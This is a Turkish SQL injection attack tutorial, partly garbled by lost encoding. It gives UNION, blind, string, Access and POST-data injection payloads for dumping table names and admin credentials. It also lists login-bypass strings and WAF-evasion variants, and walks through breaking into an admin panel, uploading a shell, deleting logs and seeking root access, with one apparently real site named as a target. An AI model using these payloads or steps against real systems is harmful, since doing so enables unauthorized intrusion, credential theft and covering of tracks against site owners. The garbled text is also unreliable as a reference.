wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
